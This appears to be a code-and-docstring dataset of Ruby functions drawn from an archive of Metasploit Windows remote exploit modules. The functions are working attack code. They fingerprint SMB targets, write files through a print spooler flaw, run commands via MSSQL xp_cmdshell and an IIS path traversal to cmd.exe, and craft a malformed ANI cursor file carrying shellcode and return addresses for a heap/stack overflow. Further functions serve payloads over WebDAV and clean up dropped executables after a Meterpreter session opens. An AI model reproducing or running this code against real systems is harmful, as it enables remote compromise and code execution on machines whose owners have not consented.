# Reset the OS string if no match was found
os = '?' if sp == '?'
# Check for Windows NT 4.0 systems
if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)
os = 'NT'
sp = '?'
end
# Heap is still pristine...
vi = true if ptrs[0] == 0x05371e90
# Determine if the patch has already been applied
req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +
"\x00\x00\x00\x03\x00\x00\x00\x00"
sock.put(req)
data = sock.get_once
disconnect
ret[1] = os
ret[2] = sp
ret[3] = vi
if (data and data[6, 1] == "\x78")
ret[0] = Exploit::CheckCode::Vulnerable
end
return ret
end
|
This fingerprinting routine will cause the structure base address to slide down
120 bytes. Subsequent fingerprints will not push this down any futher, however
we need to make sure that fingerprint is always called before exploitation or
the alignment will be way off.
|
fprint
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16359.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16359.rb
|
MIT
|
def write_file_contents(ph, fname, data)
doc = rand_text_alphanumeric(16+rand(16))
# StartDocPrinter
status,jobid = start_doc_printer(ph, doc, fname)
if status != 0 or jobid < 0
raise RuntimeError, "Unable to start print job: #{Msf::WindowsError.description(status)}"
end
print_status("Job started: 0x%x" % jobid)
# WritePrinter
status,wrote = write_printer(ph, data)
if status != 0 or wrote != data.length
raise RuntimeError, ('Failed to write %d bytes!' % data.length)
end
print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
# EndDocPrinter
status = end_doc_printer(ph)
if status != 0
raise RuntimeError, "Failed to end print job: #{Msf::WindowsError.description(status)}"
end
end
|
Use the vuln to write a file :)
|
write_file_contents
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16361.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16361.rb
|
MIT
|
def smb_connection
connect()
smb_login()
print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
pipe = simple.create_pipe('\\PlughNTCommand')
fid = pipe.file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
return pipe
end
|
we make two connections this code just wraps the process
|
smb_connection
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16370.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16370.rb
|
MIT
|
def enc_bits(str)
"\x03" + enc_asn1("\x00" + str)
end
|
Returns an ASN.1 encoded bit string with 0 unused bits
|
enc_bits
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16377.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16377.rb
|
MIT
|
def enc_constr(*str_arr)
"\x23" + enc_asn1(str_arr.join(''))
end
|
Returns a BER encoded constructed bit string
|
enc_constr
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16377.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16377.rb
|
MIT
|
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
|
This is method required for the CmdStager to work...
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16394.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16394.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module executes an arbitrary payload on a Microsoft SQL Server by using
the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
First, the original method uses Windows 'debug.com'. File size restrictions are
avoidied by incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
A second method takes advantage of the Command Stager subsystem. This allows using
various techniques, such as using a TFTP server, to send the executable. By default
the Command Stager uses 'wcsript.exe' to generate the executable on the target.
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
payload on the target.
NOTE: This module will leave a payload executable on the target system when the
attack is finished.
},
'Author' =>
[
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
'jduck' # command stager mods
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11392 $',
'References' =>
[
# 'sa' password in logs
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'BID', '1281' ],
# blank default 'sa' password
[ 'CVE', '2000-1209' ],
[ 'OSVDB', '15757' ],
[ 'BID', '4797' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
])
end
|
include Msf::Exploit::CmdStagerDebugAsm
include Msf::Exploit::CmdStagerDebugWrite
include Msf::Exploit::CmdStagerTFTP
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16395.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16395.rb
|
MIT
|
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
|
This is method required for the CmdStager to work...
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16395.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16395.rb
|
MIT
|
def execute_command(cmd, opts = {})
# Don't try the start command...
# Using the "start" method doesn't seem to make iis very happy :(
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
print_status("Executing command: #{cmd}")
uri = '/scripts/'
exe = opts[:cgifname]
if (not exe)
uri << dotdotslash
uri << dotdotslash
uri << 'winnt/system32/cmd.exe'
else
uri << exe
end
uri << '?/x+/c+'
uri << Rex::Text.uri_encode(cmd)
if (datastore['VERBOSE'])
print_status("Attemping to execute: #{uri}")
end
mini_http_request({
'uri' => uri,
'method' => 'GET',
}, 20)
end
|
NOTE: the command executes regardless of whether or not
a valid response is returned...
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16467.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16467.rb
|
MIT
|
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The copied exe and the payload exe must be removed manually.")
return
end
return if not @exe_cmd_copy
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
# Delete the copied CMD.exe
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
client.fs.file.rm(@exe_cmd_copy)
# Migrate so that we can delete the payload exe
client.console.run_single("run migrate -f")
# Delete the payload exe
return if not @exe_payload
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
print_status("Changing permissions on #{delete_me_too} ...")
cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
client.sys.process.execute(cmd, nil, {'Hidden' => true })
print_status("Deleting #{delete_me_too} ...")
begin
client.fs.file.rm(delete_me_too)
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end
|
The following handles deleting the copied cmd.exe and payload exe!
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16467.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16467.rb
|
MIT
|
def service_running?
print_status('Checking if IIS is back up after a failed attempt...')
1.upto(20) {|i|
begin
send_request_raw({'uri' => '/'}, 5)
rescue
print_error("Connection failed (#{i} of 20)...")
select(nil,nil,nil,2)
next
end
return true
}
return false
end
|
Try connecting to the server up to 20 times, with a two second gap
This gives the server time to recover after a failed exploit attempt
|
service_running?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16470.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16470.rb
|
MIT
|
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
|
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
nObfu
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16494.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16494.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
'Description' => %q{
This module exploits a heap overflow vulnerability in the KeyFrame method of the
direct animation ActiveX control. This is a port of the exploit implemented by
Alexander Sotirov.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Did all the hard work
'Alexander Sotirov <[email protected]>',
# Integrated into msf
'skape',
],
'Version' => '$Revision: 9842 $',
'References' =>
[
[ 'CVE', '2006-4777' ],
[ 'OSVDB', '28842' ],
[ 'BID', '20047' ],
[ 'MSB', 'MS06-067' ],
[ 'URL', 'https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
# Maximum payload size is limited by heaplib
'Space' => 870,
'MinNops' => 32,
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000/XP/2003 Universal', { }],
],
'DisclosureDate' => 'Nov 14 2006',
'DefaultTarget' => 0))
end
|
Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => 'KeyFrame',
:classid => 'DirectAnimation.PathControl',
:rank => NormalRanking # reliable memory corruption
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16506.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16506.rb
|
MIT
|
def generate_ie_html(ext)
path = get_resource.sub(/\/$/, '')
"<div style='" +
random_css_padding +
Rex::Text.to_rand_case("cursor") +
random_css_padding +
":" +
random_css_padding +
Rex::Text.to_rand_case("url(") +
random_css_padding +
'"' +
path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +
'"' +
random_css_padding +
");" +
random_css_padding +
"'>" +
random_padding +
"</div>"
end
|
Generate a <div> element with a style attribute referencing the ANI file
|
generate_ie_html
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16526.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16526.rb
|
MIT
|
def generate_mozilla_html
path = get_resource.gsub(/\/$/, '')
# The UNC path of the ANI file must have at least one directory level,
# otherwise the WebDAV redirector will not work
if path == ''
path = '/' + rand_text_alphanumeric(rand(80)+16)
end
return '<img src="moz-icon:file://///' +
datastore['SRVHOST'] +
path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani">'
end
|
Generate a img tag with a moz-icon URL referencing the ANI file
|
generate_mozilla_html
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16526.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16526.rb
|
MIT
|
def generate_ani(payload, target)
# Valid ANI header
header = [
36, # cbSizeOf (must be 36)
rand(128)+16, # cFrames (must be > 1 and < 0x10000)
rand(1024)+1, # cSteps (must be < 0x10000)
0, 0, # cx, cy
0, # cBitCount
0, # cPlanes
0, # JifRate
1 # Flags (must have the LSB bit set)
].pack('V9')
overflow = ''
if target['Method'] == 'jmpesp'
# ANI header that triggers the overflow:
overflow =
# 36 bytes of fake header
# When we get control, the ebx and esi registers have the following values:
#
# 2000, XP, 2003 before MS05-002
# ebx = 0, esi = pointer to MappedFile struct
#
# NT before MS05-002
# ebx = pointer to dword 1, esi = pointer to MappedFile struct
#
# all versions after MS05-002, including XP SP2 and 2003 SP1
# ebx = pointer to MappedFile struct
#
# The first field in MappedFile is a pointer to the ANI file
"\x85\xDB" + # test ebx,ebx
"\x74\x0A" + # jz jmp_esi 2000, XP, 2003 before MS05-002
"\x81\x3B\x01\x00\x00\x00" + # cmp dword [ebx], 0x1
"\x74\x02" + # jz jmp_esi NT before MS05-002
"\x89\xDE" + # mov esi, ebx all versions after MS05-002
# jmp_esi:
"\x8B\x36" + # mov esi,[esi] pointer to ANI file
"\x81\x3E\x52\x49\x46\x46" + # cmp [esi], 'RIFF'
"\x75\x02" + # jnz failed
"\xFF\xE6" + # jmp esi
# failed:
"\x31\xc0" + # xor eax, eax
"\x8b\x00" + # mov eax, [0] exit via SEH
rand_text(2) +
"\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0)
# end of header
rand_text(4*6) + # local variables
# The following local variables must be NULL to avoid calls to
# HeapFree and NtUserDestroyCursor
# 2000, XP, 2003 SP0 2003 SP1
"\x00\x00\x00\x00" + # var_10
"\x00\x00\x00\x00" + # var_C
"\x00\x00\x00\x00" + # var_C
"\x00\x00\x00\x00" + # var_8
"\x00\x00\x00\x00" + # var_4
[
target['Ret1'], # return address for NT, 2000, XP and 2003 SP0
target['Ret2'] # return address for 2003 SP1
].pack('VV') +
rand_text(4*4) + # function arguments
"\x90\x90\x90\x90" + # jmp esp on NT, 2000, XP and 2003 SP0 lands
# here, 2003 SP1 lands on the next dword
"\xeb\x92" # jump back to the shellcode in the ANI header
elsif target['Method'] == 'partial'
# ANI header that triggers the overflow:
overflow =
# 36 bytes of fake header
rand_text(32) +
"\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0)
# end of header
rand_text(4*8) + # local variables
# The following local variables must be NULL to avoid calls to
# HeapFree and NtUserDestroyCursor on Vista
"\x00\x00\x00\x00" + # var_C
"\x00\x00\x00\x00" + # var_8
"\x00\x00\x00\x00" + # var_4
rand_text(4) + # saved ebp
[
target['Ret'], # 2 byte partial overwrite of the return address
].pack('v')
else
raise "Unknown target #{targetr['Method']}"
end
# Build the ANI file
# The shellcode execution begins at the RIFF signature:
#
# 'R' 52 push edx
# 'I' 49 dec ecx
# 'F' 46 inc esi
# 'F' 46 inc esi
# eb 3a jmp +3a # jmp to the code in the payload chunk
ani =
"RIFF" + "\xeb\x3a\x00\x00" +
"ACON" +
riff_chunk("anih", header) +
# payload chunk
riff_chunk(random_riff_tag,
Rex::Arch::X86.copy_to_stack(payload.encoded.length) +
payload.encoded) +
random_riff_chunks +
# the second anih chunk trigger the overflow
riff_chunk("anih", overflow) +
random_riff_chunks
return ani
end
|
Generate an ANI file that will trigger the vulnerability
|
generate_ani
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16526.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16526.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16541.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16541.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /calc\.exe$/i)
# Uncommenting the following will use the target system's calc (as specified in the .hlp)
#print_status("Sending 404 for #{path} ...")
#send_not_found(cli)
#return
# Response for the EXE
print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\.hlp/i)
print_status("Sending HLP multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16541.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16541.rb
|
MIT
|
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
path = File.join(Msf::Config.install_root, "data", "exploits", "runcalc.hlp")
fd = File.open(path, "rb")
@hlp_data = fd.read(fd.stat.size)
fd.close
super
end
|
When exploit is called, load the runcalc.hlp file
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16541.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16541.rb
|
MIT
|
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16545.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16545.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))
# Response for the EXE
print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16545.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16545.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Style getElementsByTagName Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the getElementsByTagName function
as implemented within Internet Explorer.
},
'License' => MSF_LICENSE,
'Author' =>
[
'securitylab.ir <K4mr4n_st[at]yahoo.com>',
'jduck'
],
'Version' => '$Revision: 9787 $',
'References' =>
[
['MSB', 'MS09-072'],
['CVE', '2009-3672'],
['OSVDB', '50622'],
['BID', '37085'],
['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'],
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Nov 20 2009',
'DefaultTarget' => 0))
end
|
Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
:rank => LowRanking # exploitable on ie7/vista
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16547.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16547.rb
|
MIT
|
def process_options(cli, request)
print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16550.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16550.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16550.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16550.rb
|
MIT
|
def blacklisted_path?(uri)
return true if uri =~ /\.exe/i
return true if uri =~ /\.(config|manifest)/i
return true if uri =~ /desktop\.ini/i
return true if uri =~ /lib.*\.dll/i
return true if uri =~ /\.tmp$/i
return true if uri =~ /(pcap|packet)\.dll/i
false
end
|
This method rejects requests that are known to break exploitation
|
blacklisted_path?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16550.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16550.rb
|
MIT
|
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'MS-Author-Via' => 'DAV',
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
resp = create_response(207, "Multi-Status")
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16574.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16574.rb
